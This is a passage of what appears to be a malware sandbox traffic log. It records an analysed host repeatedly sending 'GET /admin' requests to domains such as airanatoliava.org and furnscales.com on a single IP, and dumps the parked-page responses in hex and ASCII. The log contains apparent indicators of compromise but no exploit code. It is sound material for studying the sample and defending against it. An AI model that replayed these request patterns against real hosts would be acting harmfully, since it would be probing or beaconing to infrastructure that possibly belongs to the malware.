sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1></h1></div><div id="content"> <div class="content-container"><fieldset> <h2>404 - </h2> <h3></h3> </fields
Dec 2, 2023 18:04:43.167325974 CET	91	IN	Data Raw: 65 74 3e 3c 2f 64 69 76 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: et></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.7	61231	208.91.197.132	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:04:42.911108017 CET	226	OUT	GET /admin HTTP/1.1 Host: airanatoliava.org Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 2, 2023 18:04:43.248194933 CET	1274	IN	HTTP/1.1 200 OK Date: Sat, 02 Dec 2023 17:04:42 GMT Server: Apache Set-Cookie: vsid=929vr449082283024136028; expires=Thu, 30-Nov-2028 17:04:43 GMT; Max-Age=157680000; path=/; domain=airanatoliava.org; HttpOnly X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAwEAAQ==_eN7FA7LeQFBuTG6kEmSO62sLIaEIh2LUYKgqOhSpEfUzIKJDPPW5qNacXZVvopOK5QG/yYs5/2RLwOCuEAyo0g== Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 62 31 33 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 65 6c 69 76 65 72 79 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 3e 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 63 6d 70 5f 73 74 61 79 69 6e 69 66 72 61 6d 65 20 3d 20 31 3b 20 77 69 6e 64 6f 77 2e 63 6d 70 5f 64 6f 6e 74 6c 6f 61 64 69 6e 69 66 72 61 6d 65 20 3d 20 74 72 75 65 3b 20 69 66 28 21 22 67 64 70 72 41 70 70 6c 69 65 73 47 6c 6f 62 61 6c 6c 79 22 20 69 6e 20 77 69 6e 64 6f 77 29 7b 77 69 6e 64 6f 77 2e 67 64 70 72 41 70 70 6c 69 65 73 47 6c 6f 62 61 6c 6c 79 3d 74 72 75 65 7d 69 66 28 21 28 22 63 6d 70 5f 69 64 22 20 69 6e 20 77 69 6e 64 6f 77 29 7c 7c 77 69 6e 64 6f 77 2e 63 6d 70 5f 69 64 3c 31 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 69 64 3d 30 7d 69 66 28 21 28 22 63 6d 70 5f 63 64 69 64 22 20 69 6e 20 77 69 6e 64 6f 77 29 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 63 64 69 64 3d 22 32 31 66 64 63 61 32 32 38 31 38 33 33 22 7d 69 66 28 21 28 22 63 6d 70 5f 70 61 72 61 6d 73 22 20 69 6e 20 77 69 6e 64 6f 77 29 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 70 61 72 61 6d 73 3d 22 22 7d 69 66 28 21 28 22 63 6d 70 5f 68 6f 73 74 22 20 69 6e 20 77 69 6e 64 6f 77 29 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 68 6f 73 74 3d 22 61 2e 64 65 6c 69 76 65 72 79 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 7d 69 66 28 21 28 22 63 6d 70 5f 63 64 6e 22 20 69 6e 20 77 69 6e 64 6f 77 29 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 63 64 6e 3d 22 63 64 6e 2e 63 6f 6e 73 65 Data Ascii: b13c<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><link rel="preconnect" href="https://delivery.consentmanager.net"> <link rel="preconnect" href="https://cdn.consentmanager.net"> <script>window.cmp_stayiniframe = 1; window.cmp_dontloadiniframe = true; if(!"gdprAppliesGlobally" in window){window.gdprAppliesGlobally=true}if(!("cmp_id" in window)\|\|window.cmp_id<1){window.cmp_id=0}if(!("cmp_cdid" in window)){window.cmp_cdid="21fdca2281833"}if(!("cmp_params" in window)){window.cmp_params=""}if(!("cmp_host" in window)){window.cmp_host="a.delivery.consentmanager.net"}if(!("cmp_cdn" in window)){window.cmp_cdn="cdn.conse
Dec 2, 2023 18:04:43.248219013 CET	1274	IN	Data Raw: 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 7d 69 66 28 21 28 22 63 6d 70 5f 70 72 6f 74 6f 22 20 69 6e 20 77 69 6e 64 6f 77 29 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 70 72 6f 74 6f 3d 22 68 74 74 70 73 3a 22 7d 69 66 28 21 28 22 63 6d 70 5f 63 6f Data Ascii: ntmanager.net"}if(!("cmp_proto" in window)){window.cmp_proto="https:"}if(!("cmp_codesrc" in window)){window.cmp_codesrc="1"}window.cmp_getsupportedLangs=function(){var b=["DE","EN","FR","IT","NO","DA","FI","ES","PT","RO","BG","ET","EL","GA","H
Dec 2, 2023 18:04:43.248234034 CET	1274	IN	Data Raw: 74 6f 55 70 70 65 72 43 61 73 65 28 29 29 7d 65 6c 73 65 7b 69 66 28 22 63 6d 70 5f 73 65 74 6c 61 6e 67 22 20 69 6e 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 63 6d 70 5f 73 65 74 6c 61 6e 67 21 3d 22 22 29 7b 63 2e 70 75 73 68 28 77 69 6e Data Ascii: toUpperCase())}else{if("cmp_setlang" in window&&window.cmp_setlang!=""){c.push(window.cmp_setlang.toUpperCase())}else{if(a.length>0){for(var d=0;d<a.length;d++){c.push(a[d])}}}}}if("language" in navigator){c.push(navigator.language)}if("userLa
Dec 2, 2023 18:04:43.248248100 CET	1274	IN	Data Raw: 61 72 20 6b 3d 28 22 63 6d 70 5f 70 72 6f 74 6f 22 20 69 6e 20 68 29 3f 68 2e 63 6d 70 5f 70 72 6f 74 6f 3a 22 68 74 74 70 73 3a 22 3b 69 66 28 6b 21 3d 22 68 74 74 70 3a 22 26 26 6b 21 3d 22 68 74 74 70 73 3a 22 29 7b 6b 3d 22 68 74 74 70 73 3a Data Ascii: ar k=("cmp_proto" in h)?h.cmp_proto:"https:";if(k!="http:"&&k!="https:"){k="https:"}var g=("cmp_ref" in h)?h.cmp_ref:location.href;var j=u.createElement("script");j.setAttribute("data-cmp-ab","1");var c=x("cmpdesign","cmp_design" in h?h.cmp_de
Dec 2, 2023 18:04:43.248421907 CET	1274	IN	Data Raw: 65 6e 67 74 68 3d 3d 30 29 7b 74 3d 76 28 22 68 65 61 64 22 29 7d 69 66 28 74 2e 6c 65 6e 67 74 68 3e 30 29 7b 74 5b 30 5d 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6a 29 7d 7d 7d 76 61 72 20 6d 3d 22 6a 73 22 3b 76 61 72 20 70 3d 78 28 22 63 6d 70 Data Ascii: ength==0){t=v("head")}if(t.length>0){t[0].appendChild(j)}}}var m="js";var p=x("cmpdebugunminimized","cmpdebugunminimized" in h?h.cmpdebugunminimized:0)>0?"":".min";var a=x("cmpdebugcoverage","cmp_debugcoverage" in h?h.cmp_debugcoverage:"");if(
Dec 2, 2023 18:04:43.248436928 CET	1274	IN	Data Raw: 54 69 6d 65 6f 75 74 28 77 69 6e 64 6f 77 2e 63 6d 70 5f 61 64 64 46 72 61 6d 65 2c 31 30 2c 62 29 7d 7d 7d 3b 77 69 6e 64 6f 77 2e 63 6d 70 5f 72 63 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 62 3d 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b Data Ascii: Timeout(window.cmp_addFrame,10,b)}}};window.cmp_rc=function(h){var b=document.cookie;var f="";var d=0;while(b!=""&&d<100){d++;while(b.substr(0,1)==" "){b=b.substr(1,b.length)}var g=b.substring(0,b.indexOf("="));if(b.indexOf(";")!=-1){var c=b.s
Dec 2, 2023 18:04:43.248450994 CET	1274	IN	Data Raw: 5f 67 70 70 73 74 75 62 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 61 72 67 75 6d 65 6e 74 73 3b 5f 5f 67 70 70 2e 71 3d 5f 5f 67 70 70 2e 71 7c 7c 5b 5d 3b 69 66 28 21 61 2e 6c 65 6e 67 74 68 29 7b 72 65 74 75 72 6e 20 5f 5f 67 70 70 Data Ascii: _gppstub=function(){var a=arguments;__gpp.q=__gpp.q\|\|[];if(!a.length){return __gpp.q}var g=a[0];var f=a.length>1?a[1]:null;var e=a.length>2?a[2]:null;if(g==="ping"){return window.cmp_gpp_ping()}else{if(g==="addEventListener"){__gpp.e=__gpp.e\|\|
Dec 2, 2023 18:04:43.248495102 CET	1274	IN	Data Raw: 65 3a 68 2c 73 75 63 63 65 73 73 3a 67 2c 63 61 6c 6c 49 64 3a 62 2e 63 61 6c 6c 49 64 7d 7d 3b 64 2e 73 6f 75 72 63 65 2e 70 6f 73 74 4d 65 73 73 61 67 65 28 61 3f 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 65 29 3a 65 2c 22 2a 22 29 7d 29 7d Data Ascii: e:h,success:g,callId:b.callId}};d.source.postMessage(a?JSON.stringify(e):e,"*")})}if(typeof(c)==="object"&&c!==null&&"__uspapiCall" in c){var b=c.__uspapiCall;window.__uspapi(b.command,b.version,function(h,g){var e={__uspapiReturn:{returnValue
Dec 2, 2023 18:04:43.248508930 CET	1274	IN	Data Raw: 6f 66 28 77 69 6e 64 6f 77 5b 61 5d 29 21 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 74 79 70 65 6f 66 28 77 69 6e 64 6f 77 5b 61 5d 29 21 3d 3d 22 6f 62 6a 65 63 74 22 26 26 28 74 79 70 65 6f 66 28 77 69 6e 64 6f 77 5b 61 5d 29 3d 3d 3d 22 75 6e Data Ascii: of(window[a])!=="function"&&typeof(window[a])!=="object"&&(typeof(window[a])==="undefined"\|\|window[a]!==null))){window[a]=window.cmp_gppstub;window[a].msgHandler=window.cmp_msghandler;window.addEventListener("message",window.cmp_msghandler,fal
Dec 2, 2023 18:04:43.248536110 CET	1274	IN	Data Raw: 79 6c 65 2e 68 65 69 67 68 74 3d 22 30 70 78 22 3b 69 6d 67 6c 6f 67 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 30 70 78 22 3b 69 6d 67 6c 6f 67 2e 73 72 63 3d 22 68 74 74 70 3a 2f 2f 61 69 72 61 6e 61 74 6f 6c 69 61 76 61 2e 6f 72 67 2f 73 6b 2d Data Ascii: yle.height="0px";imglog.style.width="0px";imglog.src="http://airanatoliava.org/sk-logabpstatus.php?a=T1Jwd0Y1TDM0ejdSYjFwa043VmdTbkdHbXZHVVJRUGN6dk1FQTZ3TlpmYTZDbFpieXI1VVMvSzZ2OGxudEFGTmdjb3R3ay80SzVHODVDcDdZTnNQSS9FN0hFSUZOdWpYaHp4NmpFaXdWdE
Dec 2, 2023 18:04:43.287419081 CET	1274	IN	Data Raw: 69 32 2e 63 64 6e 2d 69 6d 61 67 65 2e 63 6f 6d 2f 5f 5f 6d 65 64 69 61 5f 5f 2f 66 6f 6e 74 73 2f 6d 6f 6e 74 73 65 72 72 61 74 2d 72 65 67 75 6c 61 72 2f 6d 6f 6e 74 73 65 72 72 61 74 2d 72 65 67 75 6c 61 72 2e 77 6f 66 66 32 22 29 20 66 6f 72 Data Ascii: i2.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.woff2") format("woff2"),url("http://i2.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.ttf") format("truetype"),url("http://i2.cdn-image.com/__media__/f

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.7	61240	208.91.197.132	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:04:42.912575006 CET	223	OUT	GET /admin HTTP/1.1 Host: furnscales.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 2, 2023 18:04:43.334374905 CET	1274	IN	HTTP/1.1 200 OK Date: Sat, 02 Dec 2023 17:04:42 GMT Server: Apache Set-Cookie: vsid=927vr449082283042924830; expires=Thu, 30-Nov-2028 17:04:43 GMT; Max-Age=157680000; path=/; domain=furnscales.com; HttpOnly X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAwEAAQ==_DxBReJ62R8iEXmU9OP++4iR6TGl88iQhS+tkcaY60SUbemgeggFJjApxemfHL4jmJ1GPYJfGDtp/kb+usFsLPQ== Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 62 30 65 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 65 6c 69 76 65 72 79 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 3e 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 63 6d 70 5f 73 74 61 79 69 6e 69 66 72 61 6d 65 20 3d 20 31 3b 20 77 69 6e 64 6f 77 2e 63 6d 70 5f 64 6f 6e 74 6c 6f 61 64 69 6e 69 66 72 61 6d 65 20 3d 20 74 72 75 65 3b 20 69 66 28 21 22 67 64 70 72 41 70 70 6c 69 65 73 47 6c 6f 62 61 6c 6c 79 22 20 69 6e 20 77 69 6e 64 6f 77 29 7b 77 69 6e 64 6f 77 2e 67 64 70 72 41 70 70 6c 69 65 73 47 6c 6f 62 61 6c 6c 79 3d 74 72 75 65 7d 69 66 28 21 28 22 63 6d 70 5f 69 64 22 20 69 6e 20 77 69 6e 64 6f 77 29 7c 7c 77 69 6e 64 6f 77 2e 63 6d 70 5f 69 64 3c 31 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 69 64 3d 30 7d 69 66 28 21 28 22 63 6d 70 5f 63 64 69 64 22 20 69 6e 20 77 69 6e 64 6f 77 29 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 63 64 69 64 3d 22 32 31 66 64 63 61 32 32 38 31 38 33 33 22 7d 69 66 28 21 28 22 63 6d 70 5f 70 61 72 61 6d 73 22 20 69 6e 20 77 69 6e 64 6f 77 29 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 70 61 72 61 6d 73 3d 22 22 7d 69 66 28 21 28 22 63 6d 70 5f 68 6f 73 74 22 20 69 6e 20 77 69 6e 64 6f 77 29 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 68 6f 73 74 3d 22 61 2e 64 65 6c 69 76 65 72 79 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 7d 69 66 28 21 28 22 63 6d 70 5f 63 64 6e 22 20 69 6e 20 77 69 6e 64 6f 77 29 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 63 64 6e 3d 22 63 64 6e 2e 63 6f 6e 73 65 6e 74 6d Data Ascii: b0ef<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><link rel="preconnect" href="https://delivery.consentmanager.net"> <link rel="preconnect" href="https://cdn.consentmanager.net"> <script>window.cmp_stayiniframe = 1; window.cmp_dontloadiniframe = true; if(!"gdprAppliesGlobally" in window){window.gdprAppliesGlobally=true}if(!("cmp_id" in window)\|\|window.cmp_id<1){window.cmp_id=0}if(!("cmp_cdid" in window)){window.cmp_cdid="21fdca2281833"}if(!("cmp_params" in window)){window.cmp_params=""}if(!("cmp_host" in window)){window.cmp_host="a.delivery.consentmanager.net"}if(!("cmp_cdn" in window)){window.cmp_cdn="cdn.consentm
Dec 2, 2023 18:04:43.334389925 CET	1274	IN	Data Raw: 61 6e 61 67 65 72 2e 6e 65 74 22 7d 69 66 28 21 28 22 63 6d 70 5f 70 72 6f 74 6f 22 20 69 6e 20 77 69 6e 64 6f 77 29 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 70 72 6f 74 6f 3d 22 68 74 74 70 73 3a 22 7d 69 66 28 21 28 22 63 6d 70 5f 63 6f 64 65 73 Data Ascii: anager.net"}if(!("cmp_proto" in window)){window.cmp_proto="https:"}if(!("cmp_codesrc" in window)){window.cmp_codesrc="1"}window.cmp_getsupportedLangs=function(){var b=["DE","EN","FR","IT","NO","DA","FI","ES","PT","RO","BG","ET","EL","GA","HR",
Dec 2, 2023 18:04:43.334469080 CET	1274	IN	Data Raw: 70 70 65 72 43 61 73 65 28 29 29 7d 65 6c 73 65 7b 69 66 28 22 63 6d 70 5f 73 65 74 6c 61 6e 67 22 20 69 6e 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 63 6d 70 5f 73 65 74 6c 61 6e 67 21 3d 22 22 29 7b 63 2e 70 75 73 68 28 77 69 6e 64 6f 77 Data Ascii: pperCase())}else{if("cmp_setlang" in window&&window.cmp_setlang!=""){c.push(window.cmp_setlang.toUpperCase())}else{if(a.length>0){for(var d=0;d<a.length;d++){c.push(a[d])}}}}}if("language" in navigator){c.push(navigator.language)}if("userLangu
Dec 2, 2023 18:04:43.334485054 CET	1274	IN	Data Raw: 6b 3d 28 22 63 6d 70 5f 70 72 6f 74 6f 22 20 69 6e 20 68 29 3f 68 2e 63 6d 70 5f 70 72 6f 74 6f 3a 22 68 74 74 70 73 3a 22 3b 69 66 28 6b 21 3d 22 68 74 74 70 3a 22 26 26 6b 21 3d 22 68 74 74 70 73 3a 22 29 7b 6b 3d 22 68 74 74 70 73 3a 22 7d 76 Data Ascii: k=("cmp_proto" in h)?h.cmp_proto:"https:";if(k!="http:"&&k!="https:"){k="https:"}var g=("cmp_ref" in h)?h.cmp_ref:location.href;var j=u.createElement("script");j.setAttribute("data-cmp-ab","1");var c=x("cmpdesign","cmp_design" in h?h.cmp_desig
Dec 2, 2023 18:04:43.334497929 CET	1274	IN	Data Raw: 74 68 3d 3d 30 29 7b 74 3d 76 28 22 68 65 61 64 22 29 7d 69 66 28 74 2e 6c 65 6e 67 74 68 3e 30 29 7b 74 5b 30 5d 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6a 29 7d 7d 7d 76 61 72 20 6d 3d 22 6a 73 22 3b 76 61 72 20 70 3d 78 28 22 63 6d 70 64 65 62 Data Ascii: th==0){t=v("head")}if(t.length>0){t[0].appendChild(j)}}}var m="js";var p=x("cmpdebugunminimized","cmpdebugunminimized" in h?h.cmpdebugunminimized:0)>0?"":".min";var a=x("cmpdebugcoverage","cmp_debugcoverage" in h?h.cmp_debugcoverage:"");if(a==
Dec 2, 2023 18:04:43.334522009 CET	1274	IN	Data Raw: 65 6f 75 74 28 77 69 6e 64 6f 77 2e 63 6d 70 5f 61 64 64 46 72 61 6d 65 2c 31 30 2c 62 29 7d 7d 7d 3b 77 69 6e 64 6f 77 2e 63 6d 70 5f 72 63 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 62 3d 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 3b Data Ascii: eout(window.cmp_addFrame,10,b)}}};window.cmp_rc=function(h){var b=document.cookie;var f="";var d=0;while(b!=""&&d<100){d++;while(b.substr(0,1)==" "){b=b.substr(1,b.length)}var g=b.substring(0,b.indexOf("="));if(b.indexOf(";")!=-1){var c=b.subs
Dec 2, 2023 18:04:43.334537029 CET	1274	IN	Data Raw: 70 73 74 75 62 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 61 72 67 75 6d 65 6e 74 73 3b 5f 5f 67 70 70 2e 71 3d 5f 5f 67 70 70 2e 71 7c 7c 5b 5d 3b 69 66 28 21 61 2e 6c 65 6e 67 74 68 29 7b 72 65 74 75 72 6e 20 5f 5f 67 70 70 2e 71 7d Data Ascii: pstub=function(){var a=arguments;__gpp.q=__gpp.q\|\|[];if(!a.length){return __gpp.q}var g=a[0];var f=a.length>1?a[1]:null;var e=a.length>2?a[2]:null;if(g==="ping"){return window.cmp_gpp_ping()}else{if(g==="addEventListener"){__gpp.e=__gpp.e\|\|[];
Dec 2, 2023 18:04:43.334548950 CET	1274	IN	Data Raw: 2c 73 75 63 63 65 73 73 3a 67 2c 63 61 6c 6c 49 64 3a 62 2e 63 61 6c 6c 49 64 7d 7d 3b 64 2e 73 6f 75 72 63 65 2e 70 6f 73 74 4d 65 73 73 61 67 65 28 61 3f 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 65 29 3a 65 2c 22 2a 22 29 7d 29 7d 69 66 28 Data Ascii: ,success:g,callId:b.callId}};d.source.postMessage(a?JSON.stringify(e):e,"*")})}if(typeof(c)==="object"&&c!==null&&"__uspapiCall" in c){var b=c.__uspapiCall;window.__uspapi(b.command,b.version,function(h,g){var e={__uspapiReturn:{returnValue:h,
Dec 2, 2023 18:04:43.334561110 CET	1274	IN	Data Raw: 77 69 6e 64 6f 77 5b 61 5d 29 21 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 74 79 70 65 6f 66 28 77 69 6e 64 6f 77 5b 61 5d 29 21 3d 3d 22 6f 62 6a 65 63 74 22 26 26 28 74 79 70 65 6f 66 28 77 69 6e 64 6f 77 5b 61 5d 29 3d 3d 3d 22 75 6e 64 65 66 Data Ascii: window[a])!=="function"&&typeof(window[a])!=="object"&&(typeof(window[a])==="undefined"\|\|window[a]!==null))){window[a]=window.cmp_gppstub;window[a].msgHandler=window.cmp_msghandler;window.addEventListener("message",window.cmp_msghandler,false)
Dec 2, 2023 18:04:43.334573030 CET	1274	IN	Data Raw: 74 3d 22 30 70 78 22 3b 69 6d 67 6c 6f 67 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 30 70 78 22 3b 69 6d 67 6c 6f 67 2e 73 72 63 3d 22 68 74 74 70 3a 2f 2f 66 75 72 6e 73 63 61 6c 65 73 2e 63 6f 6d 2f 73 6b 2d 6c 6f 67 61 62 70 73 74 61 74 75 73 Data Ascii: t="0px";imglog.style.width="0px";imglog.src="http://furnscales.com/sk-logabpstatus.php?a=dW5hNDRQTGNoYzYxa01BcVc0OW9VUFhvanB1Y254SnlNa1g2S3ZqTWVSZVU0RytNSzlkQzIwM1pxbk82UVE5bVJkT1QyTXBPc0RMWTJXUVBRTzNEcHluaStrY0IyOFBqdkhHL3lydG5XL3hyZEZLS256aT
Dec 2, 2023 18:04:43.441998959 CET	1274	IN	Data Raw: 5f 6d 65 64 69 61 5f 5f 2f 66 6f 6e 74 73 2f 6d 6f 6e 74 73 65 72 72 61 74 2d 72 65 67 75 6c 61 72 2f 6d 6f 6e 74 73 65 72 72 61 74 2d 72 65 67 75 6c 61 72 2e 77 6f 66 66 32 22 29 20 66 6f 72 6d 61 74 28 22 77 6f 66 66 32 22 29 2c 75 72 6c 28 22 Data Ascii: _media__/fonts/montserrat-regular/montserrat-regular.woff2") format("woff2"),url("http://i2.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.ttf") format("truetype"),url("http://i2.cdn-image.com/__media__/fonts/montserrat-re

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.7	61364	208.91.197.132	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:04:42.950360060 CET	223	OUT	GET /admin HTTP/1.1 Host: furnscales.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 2, 2023 18:04:43.126190901 CET	1274	IN	HTTP/1.1 200 OK Date: Sat, 02 Dec 2023 17:04:43 GMT Server: Apache Set-Cookie: vsid=935vr449082283051622784; expires=Thu, 30-Nov-2028 17:04:43 GMT; Max-Age=157680000; path=/; domain=furnscales.com; HttpOnly X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAwEAAQ==_DxBReJ62R8iEXmU9OP++4iR6TGl88iQhS+tkcaY60SUbemgeggFJjApxemfHL4jmJ1GPYJfGDtp/kb+usFsLPQ== Content-Length: 2581 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4b 58 37 34 69 78 70 7a 56 79 58 62 4a 70 72 63 4c 66 62 48 34 70 73 50 34 2b 4c 32 65 6e 74 71 72 69 30 6c 7a 68 36 70 6b 41 61 58 4c 50 49 63 63 6c 76 36 44 51 42 65 4a 4a 6a 47 46 57 72 42 49 46 36 51 4d 79 46 77 58 54 35 43 43 52 79 6a 53 32 70 65 6e 45 43 41 77 45 41 41 51 3d 3d 5f 44 78 42 52 65 4a 36 32 52 38 69 45 58 6d 55 39 4f 50 2b 2b 34 69 52 36 54 47 6c 38 38 69 51 68 53 2b 74 6b 63 61 59 36 30 53 55 62 65 6d 67 65 67 67 46 4a 6a 41 70 78 65 6d 66 48 4c 34 6a 6d 4a 31 47 50 59 4a 66 47 44 74 70 2f 6b 62 2b 75 73 46 73 4c 50 51 3d 3d 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 76 61 72 20 61 62 70 3b 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 66 75 72 6e 73 63 61 6c 65 73 2e 63 6f 6d 2f 70 78 2e 6a 73 3f 63 68 3d 31 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 66 75 72 6e 73 63 61 6c 65 73 2e 63 6f 6d 2f 70 78 2e 6a 73 3f 63 68 3d 32 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 66 75 6e 63 74 69 6f 6e 20 68 61 6e 64 6c 65 41 42 50 44 65 74 65 63 74 28 29 7b 74 72 79 7b 69 66 28 21 61 62 70 29 20 72 65 74 75 72 6e 3b 76 61 72 20 69 6d 67 6c 6f 67 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 6d 67 22 29 3b 69 6d 67 6c 6f 67 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 30 70 78 22 3b 69 6d 67 6c 6f 67 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 30 70 78 22 3b 69 6d 67 6c 6f 67 2e 73 72 63 3d 